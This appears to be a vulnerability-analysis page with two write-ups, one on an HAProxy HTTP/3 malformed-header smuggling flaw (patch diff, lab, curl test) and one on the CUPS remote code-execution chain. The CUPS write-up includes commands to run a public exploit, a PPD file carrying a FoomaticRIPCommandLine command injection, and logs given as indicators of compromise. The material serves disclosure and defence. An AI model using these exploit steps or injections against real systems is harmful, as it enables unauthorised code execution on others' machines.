Activity Feed

1
Ratings
Technical Analysis

Table of contents

Vulnerability Description

HAProxy’s HTTP/3 implementation fails to block a malformed HTTP header field name, and when deployed in front of a server that incorrectly process this malformed header, it may be used to conduct an HTTP request/response smuggling attack. A remote attacker may alter a legitimate user’s request. As a result, the attacker may obtain sensitive information or cause a denial-of-service (DoS) condition.

https://jvn.jp/en/jp/JVN38170084/

Source Code Review

A very good approach before starting any research on CVEs is to begin by reading the vulnerability description and then check if the commit(s) for patching are available.
In my case, the commit was available, and it is evident that the developers of HAProxy forgot to include the RFC 9114 4.1.2. Malformed Requests and Responses checks during the parsing of the standard headers on HTTP3 implementation.

Refer to the patch commit below.

--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
        //struct ist scheme = IST_NULL, authority = IST_NULL;
        struct ist authority = IST_NULL;
        int hdr_idx, ret;
-       int cookie = -1, last_cookie = -1;
+       int cookie = -1, last_cookie = -1, i;
+
+       /* RFC 9114 4.1.2. Malformed Requests and Responses
+        *
+        * A malformed request or response is one that is an otherwise valid
+        * sequence of frames but is invalid due to:
+        * - the presence of prohibited fields or pseudo-header fields,
+        * - the absence of mandatory pseudo-header fields,
+        * - invalid values for pseudo-header fields,
+        * - pseudo-header fields after fields,
+        * - an invalid sequence of HTTP messages,
+        * - the inclusion of uppercase field names, or
+        * - the inclusion of invalid characters in field names or values.
+        *
+        * [...]
+        *
+        * Intermediaries that process HTTP requests or responses (i.e., any
+        * intermediary not acting as a tunnel) MUST NOT forward a malformed
+        * request or response. Malformed requests or responses that are
+        * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+        */
 
        TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
 
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
                if (isteq(list[hdr_idx].n, ist("")))
                        break;
 
+               for (i = 0; i < list[hdr_idx].n.len; ++i) {
+                       const char c = list[hdr_idx].n.ptr[i];
+                       if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+                               TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+                               return -1;
+                       }
+               }
+
                if (isteq(list[hdr_idx].n, ist("cookie"))) {
                        http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
                        continue;

Repositories – haproxy-2.7.git/commit

Below, you can find the code that demonstrates the absence of header name sanitization in the implementation of handling standard headers on HAProxy 2.7.0.

/* 
src/h3.c 
lines: 413 - 428
*/

/* now treat standard headers */
hdr_idx = 0;
while (1) {
    if (isteq(list[hdr_idx].n, ist("")))
        break;
    if (isteq(list[hdr_idx].n, ist("cookie"))) {
        http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
        continue;
    }
    if (!istmatch(list[hdr_idx].n, ist(":")))
        htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
    ++hdr_idx;
}

Below, you can find the code that is used to check if header name is valid.

The code starts with a for loop that iterates through each character of a header field name. The loop runs from i = 0 to i < list[hdr_idx0.n.len], where list is an array or structure containing header information, and hdr_idx is an index representing the spicific header being checked.
Inside the loop , the code extracts the current character c from the header field name.
list[hdr_idx].n.ptr[i] accesses the character at the i-th position in the header field’s name.
The next part of the code contains an if statement. It checks whether the current character c satisfies one of two conditions:

  • (uint8_t)(c - 'A') < 'Z' - 'A': This checks if the character is an uppercase letter (A to Z) by subtracting ‘A’ from c and casting the result to uint8_t If the result is less than the difference between ‘Z’ and ‘A’, then the character is an uppercase letter.
  • !HTTP_IS_TOKEN(c): This condition checks if the character is a valid HTTP token character. The HTTP_IS_TOKEN works by first checking if the header name contains any tokens. A token is a sequence of characters that is not a reserved character in the HTTP protocol. Reserved characters are characters that have special meaning in the HTTP protocol, e.g. :, /, ?, and #.
/* 
src/h3.c 
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
    const char c = list[hdr_idx].n.ptr[i];
    if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
        TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
        return -1;
    }
}

Lab Setup

The entire lab is running on Docker. You can run the lab with the following commands:

  1. cd /lab
  2. docker-compose up --build

Please note that the Docker build will take 15-20 minutes to finish.
However, before running the lab, you have to make some configuration changes:

/lab/haproxy/conf/haproxy.cfg

...
default_backend api_server

backend api_server
  balance roundrobin
  server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4

/etc/hosts

[YOUR-LOCAL-IPv4]   foo.com

/lab/docker-compose.yml
You can choose between the vulnerable version and the patched version by changing the argument’s value to ‘vuln’ or ‘patched’ to conduct your test on it.

...
    args:
        - haproxy_version=patched || vuln
...

and finally import the minica.crt certificate in your browser.

⚠️ Please run the lab in a Linux environment.

Identifying the issue

Sending the following curl request:

  • curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/

Vulnerable version response:

HTTP/3 200 
server: Werkzeug/2.3.6 Python/3.8.17  
date: Sat, 12 Aug 2023 13:10:52 GMT   
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;

Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Malformed header

Patched version response:

curl: (56) HTTP/3 stream 0 reset by server

Based on the above findings, the corresponding responses indicate that the vulnerable version of HAProxy allowed the \r\n prefix to pass through to the backend server, whereas the patched version dropped the connection between the client and HAProxy.


An attacker can conduct an HTTP Request Smuggling attack based on backend behavior and how the backend server will treat the malformed header. In my view, the most significant concern is that an attacker could exploit the aforementioned CVE to carry out a Denial of Service (DoS) attack.

References:

https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html

2
Ratings
Technical Analysis

Overview

On September 26, 2024, technical details of a four-vulnerability exploit chain affecting the Common UNIX Printing System (CUPS) were disclosed.

The four vulnerabilities and their affected components are as follows, with the CVSS and CWE values as assigned by the CNA.

CVE Affected Component CVSS CWE
CVE-2024-47176 cups-browsed 8.3 (High) Binding to an Unrestricted IP Address (CWE-1327), Improper Input Validation (CWE-20), Exposed Dangerous Method or Function (CWE-749)
CVE-2024-47076 libcupsfilters 8.6 (High) Improper Input Validation (CWE-20)
CVE-2024-47175 libppd 8.6 (High) Improper Input Validation (CWE-20)
CVE-2024-47177 cups-filters 9.0 (Critical) Command Injection (CWE-ID)

The exploit chain achieves arbitrary code execution as follows.

First, a remote unauthenticated attacker can leverage CVE-2024-47176 to add a new attacker-controlled printer to a vulnerable target system. The attacker-controlled printer in this case will not be a physical printer, but rather a software endpoint on the attacker’s machine that emulates a printer. This can be achieved by a remote attacker either directly accessing UDP port 631, which is bound by the vulnerable /usr/sbin/cups-browsed service on all network interfaces, and as such is potentially reachable from the public internet, or by a remote unauthenticated attacker leveraging zero-configuration networking such as multicast DNS (mDNS). In the later scenario, the attacker must be on the same network segment as the target in order to transmit multicast packets that will be received by the target.

Next, due to the improper input validation issues in both CVE-2024-47076 and CVE-2024-47175, attacker-controlled data that originates from an Internet Printing Protocol (IPP) response that the attacker controls is then written to a PostScript Printer Description (PPD) file. This PPD file will contain a malicious FoomaticRIPCommandLine entry. Finally CVE-2024-47177 will allow for command injection to occur when a new print job is sent to the malicious printer.

For a full analysis of the affected components, the original finder, Simone Margaritelli (a.k.a. evilsocket), has a detailed write up on their blog, along with their original vulnerability report and PoC here.

Ratings

When tagging and rating this vulnerability, I have considered the full exploit chain as it has been published, and as we currently understand the four vulnerabilities in question to work.

I have added the tag “Vulnerable in default configuration”, as the Ubuntu 22.04 system I was testing was vulnerable in a default configuration. However, depending on the target system, this may change, e.g. some server installations of Linux may not run any of the CUPS services, so they will not be vulnerable in a default configuration.

I have added the tag “Unauthenticated”, as the remote attacker does not require any authentication on the target systems to successfully exploit this vulnerability.

I have added the tag “Requires user interaction”, as the current public exploit chain for CVE-2024-47176 + CVE-2024-47076 + CVE-2024-47175 + CVE-2024-47177 does indeed require user interaction. A user must manually send a new print job to a malicious printer for the exploit chain to achieve arbitrary code execution.

Due to the above I have rated both the Attacker Value and the Exploitability as Medium.

Example Exploitation

A public exploit is available here. We can demonstrate successful exploitation against a default install of Ubuntu 22.04 by an attacker on the same LAN segment as the target.

First on the attacker’s machine we perform the following steps to advertise a malicious printer on the LAN via mDNS.

# Clone the exploit code
git clone https://github.com/RickdeJager/cupshax
cd cupshax
# Install dependencies
pip install zeroconf
pip install ippserver
# Allow port 4444 in our firewall, so IPP request from a target can succeed
sudo ufw allow 4444
# Run the exploit, passing in out own IP address
python3 cupshax.py --ip 192.168.86.42 --name printerhax1 --port 4444 --command "echo hax > /tmp/printerhax1"
# The exploit will advertise a malicious printer over the LAN via mDNS. If a target user submits a print job to this printer, the attacker's command will execute on the target system.

On the target system, no user interaction is required to have the malicious printer added to the target system. However, for the attacker to execute an arbitrary command, user interaction must occur. A user on the target system must send a print job to the malicious printer. To demonstrate this, a user can open an editor such as gedit, and print the current document to the malicious printer named printerhax1.

We can verify exploitation has succeeded as follows, noting that the user account is the lp user.

$ ls -al /tmp/*hax*
-rw------- 1 lp lp 4 Sep 27 15:14 /tmp/printerhax1

$ id lp
uid=7(lp) gid=7(lp) groups=7(lp)

IOCs

After exploitation, there are several IOCs that may be present (assuming an attacker has not removed them).

The malicious PPD file will be written to the location /etc/cups/ppd/ during exploitation. However, the file may be removed by CUPS (and regenerated as needed), so it may not be present after exploitation. We can examine the PPD file for the malicious printer named printerhax1, noting it contains the command injection string *FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;#

$ ls -al /etc/cups/ppd/
total 12
drwxr-xr-x 2 root lp 4096 Sep 27 15:34 .
drwxr-xr-x 5 root lp 4096 Sep 27 15:34 ..
-rw-r----- 1 root lp 1933 Sep 27 15:34 printerhax1.ppd

$ sudo cat /etc/cups/ppd/printerhax1.ppd 
*PPD-Adobe: "4.3"
*FormatVersion: "4.3"
*FileVersion: "2.4"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*FileSystem: False
*PCFileName: "ippeve.ppd"
*Manufacturer: "printerhax1"
*ModelName: "0.00"
*Product: "(0.00)"
*NickName: "0.00 - IPP Everywhere"
*ShortNickName: "0.00 - IPP Everywhere"
*ColorDevice: False
*cupsVersion: 2.4
*cupsSNMPSupplies: False
*cupsLanguages: "en_IE"
*cupsFilter2: "application/vnd.cups-pdf application/pdf 10 -"
*OpenUI *PageSize: PickOne
*OrderDependency: 10 AnySetup *PageSize
*DefaultPageSize: A4
*PageSize A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice"
*CloseUI: *PageSize
*OpenUI *PageRegion: PickOne
*OrderDependency: 10 AnySetup *PageRegion
*DefaultPageRegion: A4
*PageRegion A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice"
*CloseUI: *PageRegion
*DefaultImageableArea: A4
*DefaultPaperDimension: A4
*ImageableArea A4: "18 36 577.275590551181 805.889763779528"
*PaperDimension A4: "595.275590551181 841.889763779528"
*OpenUI *MediaType: PickOne
*OrderDependency: 10 AnySetup *MediaType
*DefaultMediaType: Unknown
*MediaType Stationery: "<</MediaType(Stationery)>>setpagedevice"
*en_IE.MediaType Stationery/Stationery: ""
*MediaType : HAX
*FoomaticRIPCommandLine: echo hax : "<</MediaType(: HAX
*FoomaticRIPCommandLine: echo hax )>>setpagedevice"
*en_IE.MediaType : HAX
*FoomaticRIPCommandLine: echo hax /: HAX
*FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;#
*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 foomatic-rip"
*%: ""
*CloseUI: *MediaType
*DefaultResolution: 300dpi
*OpenUI *cupsPrintQuality: PickOne
*OrderDependency: 10 AnySetup *cupsPrintQuality
*en_IE.Translation cupsPrintQuality/Print Quality: ""
*DefaultcupsPrintQuality: Normal
*cupsPrintQuality Normal: "<</HWResolution[300 300]>>setpagedevice"
*en_IE.cupsPrintQuality Normal/Normal: ""
*CloseUI: *cupsPrintQuality

The file /var/log/cups/error_log will contain error information related to a failed filter job.

$ cat /var/log/cups/error_log
E [27/Sep/2024:15:14:31 +0100] [Job 1] Job stopped due to filter errors; please consult the /var/log/cups/error_log file for details.
D [27/Sep/2024:15:14:31 +0100] [Job 1] The following messages were recorded from 15:14:14 to 15:14:31
D [27/Sep/2024:15:14:31 +0100] [Job 1] Applying default options...
D [27/Sep/2024:15:14:31 +0100] [Job 1] File of type application/pdf queued by "testuser".
D [27/Sep/2024:15:14:31 +0100] [Job 1] hold_until=0
D [27/Sep/2024:15:14:31 +0100] [Job 1] Queued on "printerhax1" by "testuser".
D [27/Sep/2024:15:14:31 +0100] [Job 1] time-at-processing=1727446454
D [27/Sep/2024:15:14:31 +0100] [Job 1] 3 filters for job:
D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf (application/pdf to application/vnd.cups-pdf, cost 66)
D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip (application/vnd.cups-pdf to printer/printerhax1/application/pdf, cost 0)
D [27/Sep/2024:15:14:31 +0100] [Job 1] - (printer/printerhax1/application/pdf to printer/printerhax1, cost 0)
D [27/Sep/2024:15:14:31 +0100] [Job 1] job-sheets=none,none
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[0]="printerhax1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[1]="1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[2]="testuser"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[3]="Untitled Document 1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[4]="1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[5]="job-originating-user-name=testuser MediaType= job-priority=50 number-up=1 noCollate PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0"
D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[6]="/var/spool/cups/d00001-001"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[0]="CUPS_CACHEDIR=/var/cache/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[1]="CUPS_DATADIR=/usr/share/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[2]="CUPS_DOCROOT=/usr/share/cups/doc-root"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[3]="CUPS_REQUESTROOT=/var/spool/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[4]="CUPS_SERVERBIN=/usr/lib/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[5]="CUPS_SERVERROOT=/etc/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[6]="CUPS_STATEDIR=/run/cups"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[7]="HOME=/var/spool/cups/tmp"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[8]="PATH=/usr/lib/cups/filter:/usr/bin:/usr/sbin:/bin:/usr/bin"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[9]="SERVER_ADMIN=root@sfewer-ubuntu-test"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[10]="SOFTWARE=CUPS/2.4.1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[11]="TMPDIR=/var/spool/cups/tmp"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[12]="USER=root"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[13]="CUPS_MAX_MESSAGE=2047"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[14]="CUPS_SERVER=/run/cups/cups.sock"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[15]="CUPS_ENCRYPTION=IfRequested"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[16]="IPP_PORT=631"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[17]="CHARSET=utf-8"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[18]="LANG=en_IE.UTF-8"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[19]="PPD=/etc/cups/ppd/printerhax1.ppd"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[20]="CONTENT_TYPE=application/pdf"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[22]="PRINTER_INFO=printerhax1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[23]="PRINTER_LOCATION="
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[24]="PRINTER=printerhax1"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[25]="PRINTER_STATE_REASONS=none"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[26]="CUPS_FILETYPE=document"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[27]="FINAL_CONTENT_TYPE=application/pdf"
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[28]="AUTH_I****"
D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/pdftopdf (PID 6419)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/foomatic-rip (PID 6420)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Started backend /usr/lib/cups/backend/ipp (PID 6421)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Calling FindDeviceById(cups-printerhax1)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to send: org.freedesktop.ColorManager.NotFound:device id \'cups-printerhax1\' does not exist
D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to get find device cups-printerhax1
D [27/Sep/2024:15:14:31 +0100] [Job 1] \'CM Color Calibration\' Mode in SPOOLER-LESS: Off
D [27/Sep/2024:15:14:31 +0100] [Job 1] Getting input from file 
D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip version 1.28.15 running...
D [27/Sep/2024:15:14:31 +0100] [Job 1] Parsing PPD file ...
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PageSize
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option ImageableArea
D [27/Sep/2024:15:14:31 +0100] [Job 1] Sending stdin for job...
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PaperDimension
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option MediaType
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option Resolution
D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option cupsPrintQuality
D [27/Sep/2024:15:14:31 +0100] [Job 1] Parameter Summary
D [27/Sep/2024:15:14:31 +0100] [Job 1] -----------------
D [27/Sep/2024:15:14:31 +0100] [Job 1] Spooler: cups
D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer: printerhax1
D [27/Sep/2024:15:14:31 +0100] [Job 1] Shell: /bin/sh
D [27/Sep/2024:15:14:31 +0100] [Job 1] PPD file: /etc/cups/ppd/printerhax1.ppd
D [27/Sep/2024:15:14:31 +0100] [Job 1] ATTR file: 
D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer model: 0.00 - IPP Everywhere
D [27/Sep/2024:15:14:31 +0100] [Job 1] Job title: Untitled Document 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] File(s) to be printed:
D [27/Sep/2024:15:14:31 +0100] [Job 1] <STDIN>
D [27/Sep/2024:15:14:31 +0100] [Job 1] Ghostscript extra search path (\'GS_LIB\'): /usr/share/cups/fonts
D [27/Sep/2024:15:14:31 +0100] [Job 1] Printing system options:
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-user-name=testuser\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-user-name=testuser.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-priority=50\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-priority=50.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'number-up=1\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option number-up=1.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'noCollate\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown boolean option \"noCollate\".
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-sheets=none,none\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-sheets=none,none.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-host-name=localhost\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-host-name=localhost.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-creation=\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-creation=.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-processing=\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-processing=.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-creation=1727446454\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-creation=1727446454.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-processing=1727446454\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-processing=1727446454.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-impressions-completed=0\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-impressions-completed=0.
D [27/Sep/2024:15:14:31 +0100] [Job 1] CM Color Calibration Mode in CUPS: Off
D [27/Sep/2024:15:14:31 +0100] [Job 1] Options from the PPD file:
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'MediaType=\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'PageSize=A4\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================
D [27/Sep/2024:15:14:31 +0100] [Job 1] File: <STDIN>
D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================
D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: +connecting-to-device
D [27/Sep/2024:15:14:31 +0100] [Job 1] Looking up \"printerhax1.local\"...
D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: -connecting-to-device
D [27/Sep/2024:15:14:31 +0100] [Job 1] printerhax1.local=192.168.86.42
D [27/Sep/2024:15:14:31 +0100] [Job 1] backendWaitLoop(snmp_fd=5, addr=0x5651dfc47368, side_cb=0x5651df842c50)
D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Last filter determined by the PPD: -; FINAL_CONTENT_TYPE: application/pdf => pdftopdf will log pages in page_log.
D [27/Sep/2024:15:14:31 +0100] [Job 1] PDF interactive form and annotation flattening done via QPDF
D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: \"print-scaling\" IPP attribute: auto
D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Print scaling mode: Do not scale, center, crop if needed
D [27/Sep/2024:15:14:31 +0100] [Job 1] After Cropping: 595.275574 841.889771 595.275574 841.889771
D [27/Sep/2024:15:14:31 +0100] [Job 1] PAGE: 1 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PDF
D [27/Sep/2024:15:14:31 +0100] [Job 1] PostScript option found: PageSize=A4: \"<</PageSize[595.275590551181 841.889763779528]>>setpagedevice\"
D [27/Sep/2024:15:14:31 +0100] [Job 1] Driver does not understand PDF input, converting to PostScript
D [27/Sep/2024:15:14:31 +0100] [Job 1] Storing temporary files in /tmp
D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6419 (/usr/lib/cups/filter/pdftopdf) exited with no errors.
D [27/Sep/2024:15:14:31 +0100] [Job 1] File contains 1 pages.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"pdf-to-ps\" (generation 1)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer make and model: printerhax1 0.00
D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for pstops: pstops 1 testuser \'Untitled Document 1\' 1 \' job-originating-user-name=testuser MediaType= job-priority=50 PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] Using image rendering resolution 300 dpi
D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for gs: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=%stderr -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=%stdout -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE -c \'save pop\' -f /tmp/foomatic-P4LVq9
D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter gs (PID 6426)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter pstops (PID 6427)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Page = 595x842; 18,36 to 577,806
D [27/Sep/2024:15:14:31 +0100] [Job 1] slow_collate=0, slow_duplex=0, slow_order=0
D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_comments - %!PS-Adobe-3.0
D [27/Sep/2024:15:14:31 +0100] [Job 1] %!PS-Adobe-3.0
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Invocation: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=? -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=? -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE ?
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%+ ? -f ?
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%BoundingBox: 0 0 596 842
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%HiResBoundingBox: 0 0 596.00 842.00
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Creator: GPL Ghostscript 9550 (ps2write)
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%LanguageLevel: 2
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%CreationDate: D:20240927151414+01\'00\'
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Pages: 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] %%EndComments
D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_prolog - %%BeginProlog
D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PostScript
D [27/Sep/2024:15:14:31 +0100] [Job 1] Reading PostScript input ...
D [27/Sep/2024:15:14:31 +0100] [Job 1] --> This document is DSC-conforming!
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found %RBINumCopies: 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] -----------
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginProlog
D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Prolog\" section.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_setup - %%Page: 1 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] Before page loop - %%Page: 1 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] Copying page 1...
D [27/Sep/2024:15:14:31 +0100] [Job 1] pagew = 559.3, pagel = 769.9
D [27/Sep/2024:15:14:31 +0100] [Job 1] bboxx = 0, bboxy = 0, bboxw = 595, bboxl = 841
D [27/Sep/2024:15:14:31 +0100] [Job 1] PageLeft = 18.0, PageRight = 577.3
D [27/Sep/2024:15:14:31 +0100] [Job 1] PageTop = 805.9, PageBottom = 36.0
D [27/Sep/2024:15:14:31 +0100] [Job 1] PageWidth = 595.3, PageLength = 841.9
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndProlog
D [27/Sep/2024:15:14:31 +0100] [Job 1] -----------
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginSetup
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *MediaType 
D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: MediaType=
D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *PageSize A4
D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: PageSize=A4
D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter
